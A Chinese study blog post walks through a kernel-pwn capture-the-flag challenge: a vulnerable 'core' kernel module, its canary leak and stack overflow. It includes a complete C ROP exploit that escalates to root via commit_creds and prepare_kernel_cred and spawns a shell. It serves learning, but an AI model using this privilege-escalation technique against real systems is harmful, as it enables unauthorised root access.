kernelrop 不知道为啥今天忽然很累(可能是昨晚没睡好?),不怎么想学习,但想起来自己的kernelpwn才入门两天,不能在这个时候颓废,还是撸起袖子加油干吧。
今天看kernelpwn的第二道题
找题找了一会,忽然翻到了一个大佬的博客,是需要仰望的那种,很厉害啊。
题目分析 脚本分析 启动脚本
1 2 3 4 5 6 7 8 9 10 rootzhang@rootzhang-virtual-machine:~/kernelstudy/pwn2/give_to_player$ cat ./start.sh qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
-append选项是启动时的附加选项,’quiet kaslr’代表启动kaslr,其他的我也看不懂😴
文件系统的init
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # !/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys
有几行不能理解做了做下记录
/proc/kallsyms :开发者为了方便调试内核代码,将内核中的所有函数和非栈变量的地址抽取出来,形成一个符号表(符号对应地址),kallsyms就能查看这个符号表,cat /proc/kallsyms > /tmp/kallsyms
就是把/proc/kallsyms保存到tmp/kallsyms中去.
ktr_restrict&dmesg_restrict :这个文件控制是否可以打印内核地址,当他等于0的时候是可以直接通过kallsyms直接打印地址,当等于1的时候就不能能直接打印了。dmesg_restrict文件能够控制dmesg命令能否直接打印内核缓存区的值,当他为1的时候dmesg就不能直接打印。两个命令的组合拳导致无法直接/proc/kallsyms查看内核地址,但是没有禁止/tmp/kallsyms。
poweroff -d 120 -f & :这是定时关机的命令,直接注释掉
通过init文件的查看可以锁定core.ko,通过checksec查看保护
1 2 3 4 5 6 [*] '/home/rootzhang/kernelstudy/pwn2/give_to_player/rootfs/core.cpio/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
对昨天关于内核保护和用户态保护有个初步的猜想,.ko文件估计两个保护都有,可见有canary保护和nx.
.ko文件分析 init_module
1 2 3 4 5 6 __int64 init_module () { core_proc = proc_create("core" , 438LL , 0LL , &core_fops); printk(&unk_2DE); return 0LL ; }
这个函数是模块被加载到内核的执行的,proc_create函数的作用是在proc文件夹在产生一个虚拟的文件core,用户态就可以利用这个文件和模块通信了。
core_ioctl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall core_ioctl (__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 1719109787 : core_read(a3); break ; case 1719109788 : printk(&unk_2CD); off = a3; break ; case 1719109786 : printk(&unk_2B3); core_copy_func(a3); break ; } return 0LL ; }
设置了三条命令,分别是core_read(),设置全局变量off(我的判断:不是栈空间的变量就是全局变量),和core_copy_func().
core_read
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned __int64 __fastcall core_read (__int64 a1) { char *v2; __int64 i; unsigned __int64 result; char v5[64 ]; unsigned __int64 v6; v6 = __readgsqword(0x28 u); printk(&unk_25B); printk(&unk_275); v2 = v5; for ( i = 16LL ; i; --i ) { *(_DWORD *)v2 = 0 ; v2 += 4 ; } strcpy (v5, "Welcome to the QWB CTF challenge.\n" ); result = copy_to_user(a1, &v5[off], 64LL ); if ( !result ) return __readgsqword(0x28 u) ^ v6; __asm { swapgs } return result; }
把从&v5[off]开始拷贝64个字节到用户态。off我们可控,那就代表着泄露敏感信息。__asm { swapgs }
这个是切换用户态和内核态的指令。
core_copy_func
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall core_copy_func (__int64 a1) { __int64 result; _QWORD v2[10 ]; v2[8 ] = __readgsqword(0x28 u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); result = 0xFFFFFFFF LL; } else { result = 0LL ; qmemcpy(v2, &name, (unsigned __int16)a1); } return result; }
把全局变量name拷贝a1个字节到v2,a1可以整数溢出,所以可以栈溢出了。
core_write
1 2 3 4 5 6 7 8 9 10 11 signed __int64 __fastcall core_write (__int64 a1, __int64 a2, unsigned __int64 a3) { unsigned __int64 v3; v3 = a3; printk("\x016core: called core_writen" ); if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) ) return (unsigned int )v3; printk("\x016core: error copying data from userspacen" ); return 0xFFFFFFF2 LL; }
可以向name copy很多的字节
漏洞利用 思路:先设置off的值,然后通过core_read()函数leak出canary,然后通过core_write函数向name写rop,然后通过coe_copy_func函数把rop给copy到栈上执行rop。
这是我的大致思路(完全借鉴),至于rop怎么构造怎么提权,怎么返回用户态执行system(‘/bin/sh’)函数都还大致不清楚,等我慢慢钻研。
这是我复刻的脚本,和wiki上的查重率应该能超过百分之70,但好在是自己一个一个字符敲的,在写(抄)的过程中也知道很理解了很多东西,也不得不感叹c语言的强大(指针和内存控制)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void usr_shell () { if (getuid()==0 ){ printf ("[*]----getshell ok" ); system("/bin/sh" ); }else { puts ("[*] getshell fail" ); } exit (0 ); } size_t commit_creds=0 ;size_t prepare_kernel_cred=0 ;size_t raw_vmlinux_base=0xffffffff81000000 ;size_t vmlinux_base=0 ;size_t find_symbols () { FILE* kallsyms_fd=fopen("/tmp/kallsyms" ,"r" ); if (kallsyms_fd<0 ){ puts ("[*]opne kallsyms error" ); exit (0 ); } char buf[0x30 ]={0 }; while (fgets(buf,0x30 ,kallsyms_fd)) { if (commit_creds&prepare_kernel_cred){ return 0 ; } if (strstr (buf,"commit_creds" )&&!commit_creds){ char hex[20 ]={0 }; strncpy (hex,buf,16 ); sscanf (hex,"%llx" ,&commit_creds); printf ("commit_creds_addr:%p\n" ,commit_creds); vmlinux_base=commit_creds-0x9c8e0 ; printf ("vmlinux_base_addr:%p" ,vmlinux_base); } if (strstr (buf,"prepare_kernel_cred" )&&!prepare_kernel_cred){ char hex[20 ]={0 }; strncpy (hex,buf,16 ); sscanf (hex,"%llx" ,&prepare_kernel_cred); printf ("prepare_kernel_cred_addr:%p\n" ,prepare_kernel_cred); vmlinux_base=prepare_kernel_cred-0x9cce0 ; } } if (!(prepare_kernel_cred&commit_creds)){ puts ("[*]addr error" ); exit (0 ); } } size_t user_cs,user_ss,user_rflags,user_sp;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has ben saved." ); } void set_off (int fd,long long idx) { printf ("[*]set off to %ld\n" ,idx); ioctl(fd,0x6677889c ,idx); } void core_read (int fd,char *buf) { puts ("[*]read to buf." ); ioctl(fd, 0x6677889B , buf); } void core_copy_func (int fd,long long size) { printf ("[*]copy from user with size :%ld\n" ,size); ioctl(fd, 0x6677889A , size); } int main () { save_status(); int fd=open("/proc/core" ,2 ); if (fd<0 ){ puts ("[*]open core error" ); exit (0 ); } find_symbols(); ssize_t offset=vmlinux_base-raw_vmlinux_base; set_off(fd,0x40 ); char buf[0x40 ]={0 }; core_read(fd,buf); size_t canary=((size_t *)buf)[0 ]; printf ("[*]canary: %p\n" ,canary); size_t rop[0x1000 ]={0 }; int i; for (i=0 ;i<10 ;i++){ rop[i]=canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81050ac2 + offset; rop[i++] = (size_t )usr_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,0x800 ); core_copy_func(fd,0xffffffffffff0000 | (0x100 )); }
脚本中有很多东西值得思考学习。
asm
这是c语言的内联汇编代码关键字,通过他可以在c语言内执行汇编代码,比如上面这个函数
1 2 3 4 5 6 7 8 9 10 11 size_t user_cs,user_ss,user_rflags,user_sp;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has ben saved." ); }
然后在main函数内调用savestatus函数就能执行这段汇编代码了。不过要注意在编译的时候得加上-masm=intel.我百度了一下发现他们用内联汇编都是__asm{},像脚本里这样写还是不多,然后他们使用汇编对程序的变量赋值都是采用占位符的方式,脚本里也直接用变量名了,可能是什么另类的方式😃,这段汇编的作用就是记录用户态的信息,等会rop返回用户态的时候用。
find_symbols
通过这个函数打开tmp/kallsyms文件,这个文件记录着内核态的所有符号信息以及对应的地址,当使用命令行打开这个文件是这样的(我随便截的)
1 2 3 4 5 6 7 ffffffff866dcbf0 t qdisc_lookup_default ffffffff866dcc40 T __qdisc_calculate_pkt_len ffffffff866dcca0 t stab_kfree_rcu ffffffff866dccb0 T qdisc_watchdog_init ffffffff866dcce0 t qdisc_watchdog ffffffff866dcd00 T qdisc_watchdog_cancel ffffffff866dcd10 T qdisc_class_hash_destroy
在脚本里是0x30字符读一次,我他脚本里读的东西输出试试
1 2 3 4 ffffffffb6499720 T func_ptr_is_kernel_text ffffffffb6499770 t param_array_free
是这种输出形式的,应该是每一列都是0x30个字符,所以读的时候fgets(buf,0x30,kakksyms_fd)刚好是读一列,然后查看每一列是否包含commit_creds
和prepare_kernel_cred
字符串,如果有的话就把前面的地址读出来。
计算地址
计算地址的方式也和用户态不一样,看脚本的时候没看懂,慢慢敲的时候才想明白,在用户态我们一般是求出基地址然后加上偏移量确定地址,求出偏移量的方式类似libc.sym['__malloc_hook']
(可能libc的逻辑基地址就是0),但使用elf.sym[]
求内核某一符号的地址,得到的不是偏移量而是逻辑地址,比如下面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Python 2.7.12 (default, Mar 1 2021, 11:38:31) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. > >> from pwn import * > >> vmlinux=ELF("./vmlinux" ) [*] '/home/rootzhang/kernelstudy/pwn2/give_to_player/vmlinux' Arch: amd64-64-little Version: 4.15.8 RELRO: No RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0xffffffff81000000) RWX: Has RWX segments > >> hex(vmlinux.sym["commit_creds" ]) '0xffffffff8107fc8d'
所以要算出偏移量的话还得减去vmlinux的逻辑基地址
1 2 > >> hex(vmlinux.sym['commit_creds' ] - 0xffffffff81000000) '0x9c8e0'
在利用kallsyms得到commit_creds基地址后减去'0x9c8e0'
就是真实的虚拟基地址了,脚本中的0ffset不是gadget的偏移量,而是逻辑基地址和虚拟基地址的差值,再加上gadget的逻辑地址就是这个gadget的虚拟地址了。
寻找gadget的方法如下
1 2 3 4 # 把汇编提取出来然后在gadget里面搜索 objdump -d vmlinux > gadget # 我不知道怎么高效搜索,我是这样搜的,搜出来一大堆东西,目前只能肉眼去找 grep -E "pop|ret" ./gadget
返回用户态
前面都是小兵,处理完小兵后该屠大龙了。
之前有稍微介绍过如何状态切换,总结起来就是两个指令,一个是swapgs
,一个是iretq
首先介绍几个重要寄存器
1 2 3 4 5 6 cs是代码段寄存器 ds是数据段寄存器 ss是堆栈段寄存器 es是扩展段寄存器 fs是标志段寄存器 gs是全局段寄存器
swapgs
:这个指令是切换GS寄存器的值,内核态或者用户态的GS寄存器的值储存在某个地方,如果要切换的话,就和这个值进行交换。
iretq
:恢复到用户控件继续执行。如果使用 iretq
还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等),执行iretq的时候会自动pop出四个值,分别是user_cs,user_rflags,user_sp,user_ss
所以恢复到用户态并执行system(“/bin/sh”)的rop这样构造
1 2 3 4 5 6 7 8 9 10 11 rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81050ac2 + offset; rop[i++] = (size_t )spawn_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
其中后面pop的值是我们前面通过内联汇编找到的
1 2 3 4 5 6 7 __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" );
其中pushf就是push状态标志寄存器的值也就是rflags,然后pop接收。
开始调试
调试过程就省略了,不过我终于搞明白这个rop最难理解的地方了,原来call会先把一个地址压栈然后才去执行地址,所以的pop rcx.扫噶,不过有一说一调试内核gdb运行的真的慢。
总结 今天了解到了很多知识,感觉还不错,哦对最近写知识总结的时候总喜欢听着一首写
1 2 3 列车粗糙而过 叫醒我频频失神 ---我会在每个有意义的时辰